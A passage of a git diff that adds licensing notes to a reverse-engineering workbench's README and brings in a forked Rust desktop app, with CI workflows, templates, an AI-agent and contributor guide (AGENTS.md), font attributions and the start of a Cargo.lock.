-Can it decompile an APK or control Ghidra automatically? +| Component | Origin and license | Maintenance | +| :--- | :--- | :--- | +| **Rootcastle Python workbench and integration** | [MIT](LICENSE), © 2026 Batuhan AYRIBAS. | Original implementation in `src/rei_rea/` and integration scripts. | +| **Native desktop foundation** | [Craft Anything](https://github.com/storytold/craft-anything), MIT OR Apache-2.0. | Licensed fork in `desktop/`; exact revision in [ROOTCASTLE-FORK.json](desktop/ROOTCASTLE-FORK.json). | +| **Upstream REA** | [morluto/rea](https://github.com/morluto/rea), under its retained license. | Separately pinned submodule; connected through local MCP. | +| **Fonts, icons and dependencies** | Their respective licenses. | Retained [NOTICE](desktop/NOTICE), [ATTRIBUTION](desktop/ATTRIBUTION.md) and license documentation. | -Not in v0.2.0. The registry helps you discover relevant tools, and the skills document investigation workflows. Automated Ghidra, JADX, and Frida providers remain future work. -
+Keep required notices with redistributions. Code licenses do not grant third-party trademark rights. Rootcastle branding identifies this adaptation; no upstream or provider endorsement or affiliation is implied. -
-What does a verified finding mean? - -The local hash chain and artifact identity have been checked. It does **not** automatically establish that the analyst's conclusion is correct. Semantic accuracy still requires independent evidence and suitable tests. -
- -## Project, credit, and license - -**Built by [Rootcastle Engineering & Innovation](https://rootcastle.com).** Distributed under the [MIT License](LICENSE), copyright © 2026 Batuhan Ayrıbaş (license file uses `Batuhan AYRIBAS`). Third-party tools remain under their own licenses; the catalog does not redistribute their code or binaries. - -**Upstream credit:** [morluto/rea](https://github.com/morluto/rea) provides a separate reverse-engineering agent project and an important reference for the skill/MCP ecosystem. REI REA is not endorsed by its maintainers. Additional technical sources and publications are listed in [docs/SOURCES.md](docs/SOURCES.md). - -**Discoverability metadata:** The canonical repository description and GitHub Topics are maintained in [`.github/repository-metadata.json`](.github/repository-metadata.json). See [the publication checklist](docs/DISCOVERABILITY.md) to apply them to the GitHub repository's About section. +The header uses the official [Rootcastle logo](https://rootcastle.com/brand/rootcastle-rei.svg) in an original SVG composition. See [artwork provenance](docs/images/README.md). Discovery metadata is maintained in [repository-metadata.json](.github/repository-metadata.json). --- -

REI REA · Rootcastle Engineering & Innovation · Measure first. Reconstruct second. Verify always.

- - -## External analysis providers (v0.3 preview) - -Twelve additional provider profiles are available through `rei-rea providers list`, with opt-in read-only inspection for radare2/rabin2, Rizin/rz-bin and LLVM readobj. The remaining providers are *discovery-only*. No third-party tools are automatically installed or executed, and the MCP server offers inventory without external execution. See [reviewed provider contracts](docs/PROVIDERS.md). +

ROOTCASTLE · ENGINEERING & INNOVATION
rootcastle.com · Open-source engineering
Measure first. Reconstruct second. Verify always.

diff --git a/REI Reverse Engineer.cmd b/REI Reverse Engineer.cmd new file mode 100644 index 0000000..c2963ec --- /dev/null +++ b/REI Reverse Engineer.cmd @@ -0,0 +1,3 @@ +@echo off +powershell.exe -NoProfile -File "%~dp0scripts\run_desktop.ps1" +if errorlevel 1 pause diff --git a/desktop/.cargo/config.toml b/desktop/.cargo/config.toml new file mode 100644 index 0000000..9741f11 --- /dev/null +++ b/desktop/.cargo/config.toml @@ -0,0 +1,2 @@ +[alias] +xtask = "run --quiet --package xtask --" diff --git a/desktop/.coderabbit.yaml b/desktop/.coderabbit.yaml new file mode 100644 index 0000000..2408084 --- /dev/null +++ b/desktop/.coderabbit.yaml @@ -0,0 +1,6 @@ +# yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json +reviews: + auto_review: + # Dependabot bumps are checked by CI; skip CodeRabbit reviews on them. + ignore_usernames: + - "dependabot[bot]" diff --git a/desktop/.gitattributes b/desktop/.gitattributes new file mode 100644 index 0000000..a843de2 --- /dev/null +++ b/desktop/.gitattributes @@ -0,0 +1,7 @@ +# LF everywhere: files are embedded with include_str! and must not change with the checkout platform. +* text=auto eol=lf +*.png binary +*.jpg binary +*.ico binary +*.icns binary +*.ttf binary diff --git a/desktop/.githooks/pre-commit b/desktop/.githooks/pre-commit new file mode 100644 index 0000000..85ed81c --- /dev/null +++ b/desktop/.githooks/pre-commit @@ -0,0 +1,4 @@ +#!/bin/sh +# Refuse commits that carry API keys, private keys, secret env values or a home folder path. +# Enable once per clone: git config core.hooksPath .githooks +exec cargo xtask secrets diff --git a/desktop/.github/ISSUE_TEMPLATE/bug_report.md b/desktop/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..b697dd7 --- /dev/null +++ b/desktop/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,16 @@ +--- +name: Something doesn't work +about: A crash, a hang, a wrong result, or a build that goes wrong +labels: bug +--- + + + +**What you did:** + +**What happened:** + +**Version and system:** + +**Output:** diff --git a/desktop/.github/ISSUE_TEMPLATE/config.yml b/desktop/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..fe2e654 --- /dev/null +++ b/desktop/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,5 @@ +blank_issues_enabled: true +contact_links: + - name: Report a security problem + url: https://github.com/storytold/craft-anything/security/advisories/new + about: Please report vulnerabilities privately (SECURITY.md), not as an issue. diff --git a/desktop/.github/ISSUE_TEMPLATE/idea.md b/desktop/.github/ISSUE_TEMPLATE/idea.md new file mode 100644 index 0000000..1a0ff06 --- /dev/null +++ b/desktop/.github/ISSUE_TEMPLATE/idea.md @@ -0,0 +1,11 @@ +--- +name: An idea +about: Something Craft Anything should do, study or make +labels: idea +--- + +**What you'd like to do:** + +**Why:** + + diff --git a/desktop/.github/actionlint.yaml b/desktop/.github/actionlint.yaml new file mode 100644 index 0000000..08ccd93 --- /dev/null +++ b/desktop/.github/actionlint.yaml @@ -0,0 +1,4 @@ +# Custom runner labels actionlint can't know about. +self-hosted-runner: + labels: + - github-ubuntu-16core # org 16-core larger runner, used by the FreeBSD VM jobs (release.yml, freebsd.yml) diff --git a/desktop/.github/pull_request_template.md b/desktop/.github/pull_request_template.md new file mode 100644 index 0000000..695b2fa --- /dev/null +++ b/desktop/.github/pull_request_template.md @@ -0,0 +1,16 @@ + + +**Roadmap item:** + +**What changed:** + +**Verified:** + +**Not verified:** + +- [ ] `cargo fmt --all --check`, `cargo clippy -p --all-targets -- -D warnings`, + `cargo test -p `, `cargo xtask layers`, `cargo xtask secrets` +- [ ] Docs in this PR: the roadmap line ticked (and new `- [ ]` lines for what's left), STATUS if + what works changed, `cargo xtask tools` if tools were added +- [ ] No other tool's code, scripts or wording copied (behaviour only; AGENTS.md) diff --git a/desktop/.github/workflows/ci.yml b/desktop/.github/workflows/ci.yml new file mode 100644 index 0000000..ae7a699 --- /dev/null +++ b/desktop/.github/workflows/ci.yml @@ -0,0 +1,28 @@ +name: CI + +# Quality gates for every push to main and every pull request (`cargo xtask ci`), through the +# suite's shared gate workflow in craft-common-actions. +on: + push: + branches: [main] + pull_request: + workflow_dispatch: + +permissions: + contents: read + +# A newer push to a PR branch cancels its older run; every push to main runs to the end. +concurrency: + group: ci-${{ github.event_name == 'pull_request' && github.ref || github.run_id }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +jobs: + gate: + # Tracks @main so suite-wide CI fixes reach every app without a PR in each repository. + uses: storytold/craft-common-actions/.github/workflows/gate.yml@main + with: + # Same craft-fonts commit as release.yml. + craft-fonts-ref: b076417b5880bd4154bd22f00695b1d28c6bea83 + packages: >- + libxkbcommon-dev libwayland-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev + libgtk-3-dev diff --git a/desktop/.github/workflows/freebsd.yml b/desktop/.github/workflows/freebsd.yml new file mode 100644 index 0000000..537aafa --- /dev/null +++ b/desktop/.github/workflows/freebsd.yml @@ -0,0 +1,36 @@ +# Builds and tests the workspace on FreeBSD, inside a FreeBSD VM on a Linux runner +# (GitHub has no FreeBSD runners). GPU tests skip themselves when the VM has no adapter. +# It then runs packaging/freebsd/package.sh, the script the release job runs, and checks the +# tarball, so a broken FreeBSD package fails here before it can fail a release. Nothing is +# uploaded and no secrets are used. +name: FreeBSD + +# The VM build takes one to several hours, so it runs nightly on main rather than on every push +# or dependency change: a drifted dependency still shows up within a day. PRs that change the +# FreeBSD packaging itself still run it. +on: + push: + branches: [release] + schedule: + - cron: "17 2 * * *" + pull_request: + paths: + - .github/workflows/freebsd.yml + - packaging/freebsd/** + - packaging/env.sh + workflow_dispatch: + +concurrency: + group: freebsd-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + freebsd: + # Intentionally tracked at @main (not SHA-pinned) so org-wide CI improvements, security fixes, and build optimizations propagate without PR churn across all craftapp repos. + uses: storytold/craft-common-actions/.github/workflows/freebsd.yml@main + with: + craft-fonts-ref: b076417b5880bd4154bd22f00695b1d28c6bea83 + run-package-check: true diff --git a/desktop/.github/workflows/packaging-lint.yml b/desktop/.github/workflows/packaging-lint.yml new file mode 100644 index 0000000..f54b053 --- /dev/null +++ b/desktop/.github/workflows/packaging-lint.yml @@ -0,0 +1,23 @@ +# Quick static checks for the release pipeline (seconds, no Rust build): workflow syntax, +# packaging shell/PowerShell scripts, and the Linux desktop/AppStream/Flatpak metadata. +name: Packaging lint + +on: + push: + branches: [main, release] + paths: [".github/workflows/**", "packaging/**", "assets/app-icon/**"] + pull_request: + paths: [".github/workflows/**", "packaging/**", "assets/app-icon/**"] + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: packaging-lint-${{ github.ref }} + cancel-in-progress: true + +jobs: + lint: + # Intentionally tracked at @main (not SHA-pinned) so org-wide CI improvements, security fixes, and build optimizations propagate without PR churn across all craftapp repos. + uses: storytold/craft-common-actions/.github/workflows/packaging-lint.yml@main diff --git a/desktop/.github/workflows/release.yml b/desktop/.github/workflows/release.yml new file mode 100644 index 0000000..01346b6 --- /dev/null +++ b/desktop/.github/workflows/release.yml @@ -0,0 +1,44 @@ +name: Release + +on: + push: + branches: [release] + workflow_dispatch: + inputs: + version: + description: "Version override for a test run, e.g. 0.2.0-rc.1 (empty: Cargo.toml)" + type: string + default: "" + +permissions: + contents: write + packages: write + +concurrency: + group: release-${{ github.ref }} + cancel-in-progress: false + +jobs: + release: + # Intentionally tracked at @main (not SHA-pinned) so org-wide CI improvements, security fixes, and build optimizations propagate without PR churn across all craftapp repos. + uses: storytold/craft-common-actions/.github/workflows/release.yml@main + with: + app-name: craft-anything + app-title: "Craft Anything" + craft-fonts-ref: b076417b5880bd4154bd22f00695b1d28c6bea83 + version: ${{ inputs.version }} + secrets: + APPLE_CERTIFICATE: ${{ secrets.APPLE_CERTIFICATE }} + APPLE_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }} + KEYCHAIN_PASSWORD: ${{ secrets.KEYCHAIN_PASSWORD }} + APPLE_ID: ${{ secrets.APPLE_ID }} + APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }} + APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }} + WINDOWS_CERTIFICATE: ${{ secrets.WINDOWS_CERTIFICATE }} + WINDOWS_CERTIFICATE_PASSWORD: ${{ secrets.WINDOWS_CERTIFICATE_PASSWORD }} + AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }} + AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }} + AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }} + AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }} + AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }} + AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }} diff --git a/desktop/.github/workflows/windows-arm64.yml b/desktop/.github/workflows/windows-arm64.yml new file mode 100644 index 0000000..7c11db1 --- /dev/null +++ b/desktop/.github/workflows/windows-arm64.yml @@ -0,0 +1,31 @@ +# Windows on ARM: package the ARM64 release the way release.yml does (cross-compiled on an x64 +# runner, unsigned here), then install that MSI on a Windows 11 ARM64 runner, check the installed +# binaries are ARM64, run the CLI natively, and uninstall. (A native ARM64 `cargo test` job is left +# out for now: PdfCraft saw an intermittent access violation in egui UI tests there.) +name: Windows ARM64 + +# Nightly on main (dependency and runner-image drift shows up within a day), and on PRs that +# change the Windows packaging itself. +on: + pull_request: + paths: + - .github/workflows/windows-arm64.yml + - packaging/windows/** + schedule: + - cron: "41 4 * * *" + workflow_dispatch: + +concurrency: + group: windows-arm64-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + windows-arm64: + # Intentionally tracked at @main (not SHA-pinned) so org-wide CI improvements, security fixes, and build optimizations propagate without PR churn across all craftapp repos. + uses: storytold/craft-common-actions/.github/workflows/windows-arm64.yml@main + with: + app-name: craft-anything + app-dir: "Craft Anything" diff --git a/desktop/.gitignore b/desktop/.gitignore new file mode 100644 index 0000000..f779ef9 --- /dev/null +++ b/desktop/.gitignore @@ -0,0 +1,18 @@ +*~ +screenshots/ +plan/ +plans/ +/target +/log/ +corpus/ +/dist/ +.DS_Store +.claude/worktrees/ +# Secrets and local settings (`cargo xtask secrets` refuses them too) +.env +.env.* +*.pem +*.p12 +*.pfx +*.key +.claude/settings.local.json diff --git a/desktop/AGENTS.md b/desktop/AGENTS.md new file mode 100644 index 0000000..8de0696 --- /dev/null +++ b/desktop/AGENTS.md @@ -0,0 +1,169 @@ +# AGENTS.md: guide for AI agents and contributors + +Craft Anything is a native, pure-Rust app that shows anyone how a piece of software works (programs, apps, files, +websites, phones) with evidence-backed answers, then helps them rebuild it. It ships a desktop app (egui), a CLI and +an MCP server, all driven by one engine. Display name **Craft Anything**; machine names `craft-anything-*`; bundle id +`ai.storyteller.craft-anything`. Standards shared across the Crafting Apps live in `../craftrules` (read its +`AGENTS.md`); follow them. Repos never share code. + +**Original work only:** never copy code, scripts, schemas, names, assets or wording from another project, and +never name other reverse-engineering products in source, docs, UI or commit messages. + +## Workspace map + +```text +crates/ + evidence L0 Evidence records, canonical ids, confidence, unknowns, ToolError (the error contract) + formats L0 Standalone parsers (no workspace deps, no I/O): ELF/PE/Mach-O/WASM/DEX/APK/ASAR/plist/.NET/Go/… + disasm L1 Our own native engine (Clean room): decode, functions, CFG, xrefs, call graph, pseudo-C + js L1 JavaScript/Electron/web bundles: parse, module graph, IPC, source maps, unbundling + analysis L2 Analyzers producing evidence (triage, dossiers, trace, compare, app graph, rebuild ledger) + platform L2 Native services: owned processes, PTY capture, sandbox, engine store, atomic files + engines L3 Optional external engines: Ghidra bridge (Deep mode), adb, CDP, Frida, JADX, Apktool… + engine L4 Session, projects (.cany), workspaces (what the person is making), the inbox + (questions/approvals), ToolSpec registry, settings, consent, the tool list + ai L5 AI backends (Anthropic, OpenAI, OpenRouter, local, agent CLIs, SSH) + agent loop + crews, + and the rebuild workflow (study → build → check → refine) + mcp L5 MCP server: progressive toolsets, resources, prompts + setup L5 Connect to coding-agent apps; doctor; uninstall + ui-egui L6 The egui interface (Beginner + Experienced). The only crate that may use egui/eframe/winit/rfd. + testkit Test helpers and synthetic sample builders +apps/ craft-anything (desktop) · craft-anything-cli (CLI + `mcp`) · craft-anything-web (browser viewer) +xtask/ cargo xtask layers | tools [--check] | wasm | secrets [--history] | ci | version [set X.Y.Z] +``` + +Layering is enforced by `cargo xtask layers`. Register new crates in `xtask/src/main.rs`. + +## Golden rules + +1. **Never crash** (`../craftrules/standards/never-crash.md`). Hostile input is our main input. No + `unwrap`/`expect`/`panic!`/`todo!`/`unimplemented!`/`unreachable!`/indexing on input-derived values in non-test + code; every production crate root carries the deny attribute. Checked arithmetic, bounded recursion, capped + allocations. Every crash fix gets a regression test. +2. **Everything is a tool.** User-visible behaviour = a `ToolSpec` in `crates/engine/src/tools/.rs` with id, + title, summary, beginner text, toolset, effects, requires, a schemars params struct, and `run`. Register the + module with one line in `tools/mod.rs`. UI, CLI, MCP and the AI agent all dispatch by id. Programmatic calls + never open dialogs. +3. **Evidence is the result.** Analysis tools return `ToolOutput::Evidence` built with `EvidenceBuilder` (honest + confidence, limitations, coverage, locations). Large results: summary first, paged views (`offset`/`limit`). +4. **Clean room vs Deep.** `session.clean_room()` is true unless Deep mode is on (`deep_mode`, or `--deep` for one + CLI run). Clean room never looks inside the original: only the tools in `engine/src/clean_room.rs` run, so a new + tool is Deep-only until it's listed there, and it may be listed only if it touches no target or watches from + outside, as a visitor or user would. Deep mode uses every tool; built-in engines must work fully without Ghidra, + which only adds. Evidence records the engine and the flag. +5. **Effects are honest.** Declare every side effect. `EXECUTES_FOREIGN_CODE` and `MUTATES_DEVICE` trigger consent. +6. **Never break wasm** for L0–L2 (`cargo xtask wasm`). +7. **Thin UI.** UI state is serde data; colours/radii come from theme tokens. +8. **No secrets, no personal data** in requests, logs, tests or the repo (it is public): no API keys, tokens, + private keys, `.env` files or local paths, only obvious fakes like `sk-test`. `cargo xtask secrets` checks what + git would commit (`--history` checks every commit); enable the hook once per clone with + `git config core.hooksPath .githooks`. Generic `CraftAnything-dev` User-Agent. +9. **Safe Rust only.** `unsafe_code = "forbid"` everywhere, no exceptions. Prefer pure-Rust crates; any dependency + must be safe to use from safe code. +10. **Never crash, never lock up, around other programs.** Every external program (Ghidra, Java, adb, a browser, + an agent CLI, ssh, git…) runs through `craft_anything_platform::process` only, never `std::process::Command` + directly: + - stdin is closed (or a pipe we write to), never inherited, so nothing can sit waiting at a prompt; ssh gets + `BatchMode=yes`; tools get their non-interactive flags; + - every run has a deadline (wall clock and idle), output is capped and drained on threads so pipes never fill, + and the child (and its process group / Job Object) is killed on timeout, cancel or drop; + - a missing program, non-zero exit, bad output or timeout is a `ToolError` with a plain-English remediation, + never a panic or a hang; + - nothing slow ever runs on the UI thread: the UI sends work to background threads and polls results. +11. **Never lock up on a lock.** Use `craft_anything_platform::sync::Mutex`, never `std::sync::Mutex` (clippy + refuses it). It stops a real deadlock as soon as it forms, the waiter's work unwinding to its `catch_unwind` as + an error; the watchdog reports anything held too long. Long jobs are fine: label the guard (`guard.label(id)`, + as `Engine::call` does for tools) and they're waited for, not treated as stuck. A guard that isn't bound to a + name lives until the statement ends, so read the session once: `cargo xtask locks` refuses a second + `.session()` in reach of the first. + +## Working rules (mandatory) + +These apply to every change by every agent and contributor, whether or not anyone mentions them. + +### Roles and ownership +- `docs/ROADMAP.md` is the plan: each item has an id (`R.`), an **owner**, a status and pending + changes (`- [ ]` lines). Owners are roles, never people's names: **maintainers** (the project's maintainers + steer it; agents may take its unclaimed pending changes, but anything marked **decision** waits for a + maintainer) or **open** (anyone may take it). +- **Claim before you start:** put `— claimed: , branch ` on the pending change and push your branch + early (or open a draft PR) so others see it. Never take a change someone else has claimed. +- Work in the order the roadmap's "Order and dependencies" table gives; an item starts only when its + dependencies are done. +- A person's explicit instruction for a task overrides these rules for that task only; otherwise they apply to + every change, without being asked. + +### Before you write code +- Pick work from `docs/ROADMAP.md` only. Don't start an item that is claimed, `blocked`, or waiting on a + **decision**, and don't start one whose dependencies aren't done. +- Claim the pending change first (name + branch, in its own small commit), so no two agents do the same work. +- Read the code you'll touch and check STATUS.md and the roadmap for gaps it depends on. If you find new gaps or + dependencies, add them to the roadmap rather than widening your change. + +### Git workflow +- Never commit to `main`. Branch from an up-to-date `main` with a standard prefix, then the roadmap id if + there is one: `feature/`, `bugfix/`, `hotfix/` (urgent fix to released code), `refactor/`, `docs/`, `test/` + or `chore/` (tooling, deps, CI). Example: `feature/r1.1-target-kind`. +- One roadmap item (or pending change) per PR. Keep PRs small and reviewable. No unrelated refactors or drive-by + formatting. +- Open a PR into `main`. It is **squash-merged**, so the PR title is the commit message: plain English, present + tense, what changed for the person or developer. +- Rebase on `main` before asking for review. Never force-push someone else's branch. +- Parallel agents work in their own git worktree and their own `CARGO_TARGET_DIR` (see "Parallel agents" below). +- Before every commit and push, check `git branch --show-current`; push by name (`git push origin `). + +### Architecture +- **Headless first.** Every capability works without the GUI: engine → tools → CLI/MCP, with the GUI as one + thin client. Orchestration, persistence and process control never live in `ui-egui` or `apps/*`. If the UI + needs something, it calls the same engine API (or tool) the CLI does. +- **Extend through seams.** New target kinds, checks, builders, asset providers and engines are trait + implementations registered in one place. Don't add another arm to a `match` over a closed enum. Prefer traits + and generics with sensible built-in implementations, so forks can swap parts without editing core code. +- **Data over code.** Catalogues (stacks, engine recipes, model ids, prices, install pins) are typed tables, not + string matches or prompt text. +- **Structured results.** Decide on typed fields, never on English text. +- **Versioned files.** Anything we persist has a version field, a schema and a migration path. +- Respect the layers (`cargo xtask layers`); put code at the lowest layer that can own it. + +### Done means +- The checks in "Before you finish" pass for the crates you touched. New behaviour has tests; crash fixes have + regression tests. +- Docs updated in the same PR: the roadmap item ticked, STATUS.md if what works changed, `docs/tools.md` if you + added tools. +- Report what you verified and what you didn't. Never claim a live run you didn't do. +- Made a mistake worth not repeating? Add it to `docs/pitfalls.md` in the same PR. +- Found work that's missing or left for later? Add it as a `- [ ]` line under its roadmap item in the same PR + (`cargo xtask pending` lists all open work). + +## Extending + +`docs/extending.md` says where each kind of addition goes (tools, target kinds, checks, stacks, coding agents, +asset providers, engines, plugins). + +## Pitfalls + +`docs/pitfalls.md` lists mistakes already made here (git, tests, builds, design) and the rule for each. +It is part of these rules: read it before your first change (Claude Code loads it automatically through +`CLAUDE.md`). + +## Before you finish + +```sh +cargo fmt --all +cargo test -p +cargo clippy -p --all-targets -- -D warnings +cargo xtask layers +cargo xtask locks +cargo xtask secrets # no keys, tokens or local paths in what you commit +cargo xtask wasm # if you touched L0–L2 +cargo xtask tools # if you added tools (commit docs/tools.md) +``` + +Then append a terse entry to `log/devlog.md` (what landed, numbers, what's still open). `log/` is gitignored: +the devlog is a local scratch record; anything others need goes in the PR, `docs/STATUS.md` or `docs/ROADMAP.md`. + +## Parallel agents + +Own target dir (`CARGO_TARGET_DIR=target/agent-`), own files. Shared files (`engine/src/tools/mod.rs`, +`engine/src/lib.rs`, workspace `Cargo.toml`) get small surgical edits; re-read right before editing. Write manifests +atomically (temp file outside `crates/`, then `mv`). If someone else's edit breaks the build, wait and retry. diff --git a/desktop/ATTRIBUTION.md b/desktop/ATTRIBUTION.md new file mode 100644 index 0000000..3a5f203 --- /dev/null +++ b/desktop/ATTRIBUTION.md @@ -0,0 +1,51 @@ +# Attribution + +Third-party material bundled with Craft Anything, file by file. Rust crates are pulled from +crates.io under their own licences (see `Cargo.lock`) and are not listed here. + +## Fonts (`assets/fonts/`) + +All fonts are under the SIL Open Font License 1.1. The fonts are embedded unmodified; the +licence requires that the font software is not sold by itself and that reserved font names are +not used for modified versions. + +| File | Font | Copyright | Source | Licence | +|---|---|---|---|---| +| `DMSans-Regular.ttf`, `DMSans-Medium.ttf`, `DMSans-Bold.ttf` | DM Sans 1.200 (body text, labels, headlines) | © 2014-2017 Indian Type Foundry, © 2019 Google LLC | https://github.com/googlefonts/dm-fonts (`Sans/Exports/`, commit 23aafb3) | `OFL-DMSans.txt` | +| `JetBrainsMono-Regular.ttf` | JetBrains Mono (code views) | © 2020 The JetBrains Mono Project Authors | https://github.com/JetBrains/JetBrainsMono | `OFL-JetBrainsMono.txt` | +| `GeistMono-Regular.ttf`, `GeistMono-Medium.ttf` | Geist Mono (labels and buttons) | © 2024 The Geist Project Authors | https://github.com/vercel/geist-font (`fonts/GeistMono/ttf/`) | `OFL-GeistMono.txt` | + +## egui default fonts (`epaint_default_fonts` crate) + +egui embeds these fonts through the `epaint_default_fonts` crate (crate licence: +`(MIT OR Apache-2.0) AND OFL-1.1 AND Ubuntu-font-1.0`). They are embedded unmodified; the licence +texts are in the crate's `fonts/` folder. + +| File | Font | Copyright | Licence | +|---|---|---|---| +| `Ubuntu-Light.ttf` | Ubuntu Light (egui's default proportional font) | © 2011 Canonical Ltd. | Ubuntu Font Licence 1.0, `UFL.txt` | +| `NotoEmoji-Regular.ttf` | Noto Emoji | © 2013 Google Inc. | SIL OFL 1.1, `OFL.txt` | +| `Hack-Regular.ttf` | Hack (egui's default monospace font) | © 2018 Source Foundry Authors; Bitstream Vera © 2003 Bitstream, Inc.; DejaVu changes public domain | MIT and Bitstream Vera License, `Hack-Regular.txt` | +| `emoji-icon-font.ttf` | emoji-icon-font | © 2014 John Slegers | MIT, `emoji-icon-font-mit-license.txt` | + +## Icons (`assets/icons/`) + +| Files | Set | Copyright | Source | Licence | +|---|---|---|---|---| +| `*.svg` | Lucide | © Lucide Icons and Contributors | https://lucide.dev | ISC, `LICENSE-lucide.txt` | + +## App icon (`assets/app-icon/`) + +The raven, the Crafting Apps' shared icon, made by the ArtCraft team; not open source, used on the +brand terms below. See `assets/app-icon/LICENSE.txt`. + +## Brand (`docs/brand/`) + +The ArtCraft name, wordmark and logos are trademarks of the ArtCraft Team and are not covered by +the open-source licence; see `docs/brand/LICENSE-brand.txt`. + +## Optional build-time fonts + +Builds made with `CRAFT_FONTS_DIR` (craft-fonts), releases among them, also embed the fonts in +that folder (all OFL-1.1). Their packages ship each one's licence as `OFL-.txt`; craft-fonts' +own `ATTRIBUTION.md` names their authors and pinned sources. diff --git a/desktop/CLAUDE.md b/desktop/CLAUDE.md new file mode 100644 index 0000000..b96698b --- /dev/null +++ b/desktop/CLAUDE.md @@ -0,0 +1,11 @@ +# Craft Anything + +The rules below are loaded into every session (imports). They are mandatory for every change: follow them +without being asked, unless the person explicitly says otherwise for a specific task. + +@AGENTS.md +@docs/pitfalls.md + +The plan and assignments are `docs/ROADMAP.md` (open work: `cargo xtask pending`); what works today is +`docs/STATUS.md` (with `docs/tool-status.md`); where additions go is `docs/extending.md`. Private plans may +live in `plan/` (gitignored) when present. diff --git a/desktop/CONTRIBUTING.md b/desktop/CONTRIBUTING.md new file mode 100644 index 0000000..12881f1 --- /dev/null +++ b/desktop/CONTRIBUTING.md @@ -0,0 +1,31 @@ +# Contributing + +Thanks for helping. The rules every change follows (people and AI agents alike) are in +[AGENTS.md](AGENTS.md); the mistakes they come from are in [docs/pitfalls.md](docs/pitfalls.md). +In short: + +- **Pick work from [docs/ROADMAP.md](docs/ROADMAP.md)** (`cargo xtask pending` lists what's open). + Claim it first: add `— claimed: , branch ` to its line and open a draft PR, + so nobody else does the same work. +- **One change per PR**, on a branch named `feature/`, `bugfix/`, `docs/`, `test/`, `refactor/` or + `chore/` plus the roadmap id (`feature/r1.4-provider-key-ui`). PRs are squash-merged, so the + title is the commit message: plain English, what changed for the person or developer. +- **Where things go:** [docs/extending.md](docs/extending.md) (tools, target kinds, checks, coding + agents, engines, plugins). +- **Never crash, safe Rust only, every external program through `craft_anything_platform::process`, + no secrets or personal data anywhere.** Everything is our own work: no code, names or wording copied from other projects. + +Before you ask for review: + +```sh +cargo fmt --all +cargo test -p +cargo clippy -p --all-targets -- -D warnings +cargo xtask layers +cargo xtask secrets +``` + +Enable the secret-scan hook once per clone: `git config core.hooksPath .githooks`. + +Code is dual-licensed under MIT or Apache-2.0 ([LICENSE-MIT](LICENSE-MIT), +[LICENSE-APACHE](LICENSE-APACHE)); by contributing you agree your work is licensed the same way. diff --git a/desktop/Cargo.lock b/desktop/Cargo.lock new file mode 100644 index 0000000..3f74780 --- /dev/null +++ b/desktop/Cargo.lock @@ -0,0 +1,8402 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "accesskit" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b7f7f85a7e5f68090000ed7622545829afd484d210358702ae4cb97dd0c320" +dependencies = [ + "enumn", + "serde", + "uuid", +] + +[[package]] +name = "accesskit_atspi_common" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e8c61bee90b42a772d39d06a740207dc71a4e780004ace1db8d99fb1baaa954" +dependencies = [ + "accesskit", + "accesskit_consumer 0.36.0", + "atspi-common", + "phf 0.13.1", + "serde", + "zvariant 5.15.0", +] + +[[package]] +name = "accesskit_consumer" +version = "0.35.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53cf47daed85312e763fbf85ceca136e0d7abc68e0a7e12abe11f48172bc3b10" +dependencies = [ + "accesskit", + "hashbrown 0.16.1", +] + +[[package]] +name = "accesskit_consumer" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25e0d7e25d06f4dc21d1774d67146e9e80d6789216cbd4d1e88185b0095dba60" +dependencies = [ + "accesskit", + "hashbrown 0.16.1", +] + +[[package]] +name = "accesskit_consumer" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d10a236f96f87d70732e44520046785431ef01d5bcd6b041317bfadd2f88245" +dependencies = [ + "accesskit", + "hashbrown 0.16.1", +] + +[[package]] +name = "accesskit_macos" +version = "0.26.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce02dc63b43f0c9296af9ac946312a2dc8814427d7a64d2d600971dac55b6076" +dependencies = [ + "accesskit", + "accesskit_consumer 0.38.0", + "hashbrown 0.16.1", + "objc2 0.5.3", + "objc2-app-kit 0.2.2", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "accesskit_unix" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b016ca8db0ea0ea2ceff29a9d6240391492d960716aa471967c00e8cc8cb197c" +dependencies = [ + "accesskit", + "accesskit_atspi_common", + "async-channel", + "async-executor", + "async-task", + "atspi", + "futures-lite", + "futures-util", + "serde", + "zbus 5.19.0", +] + +[[package]] +name = "accesskit_windows" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eff7009f1a532e917d66970a1e80c965140c6cfbbabbdde3d64e5431e6c78e21" +dependencies = [ + "accesskit", + "accesskit_consumer 0.35.0", + "hashbrown 0.16.1", + "static_assertions", + "windows", + "windows-core", +] + +[[package]] +name = "accesskit_winit" +version = "0.32.2" +source = 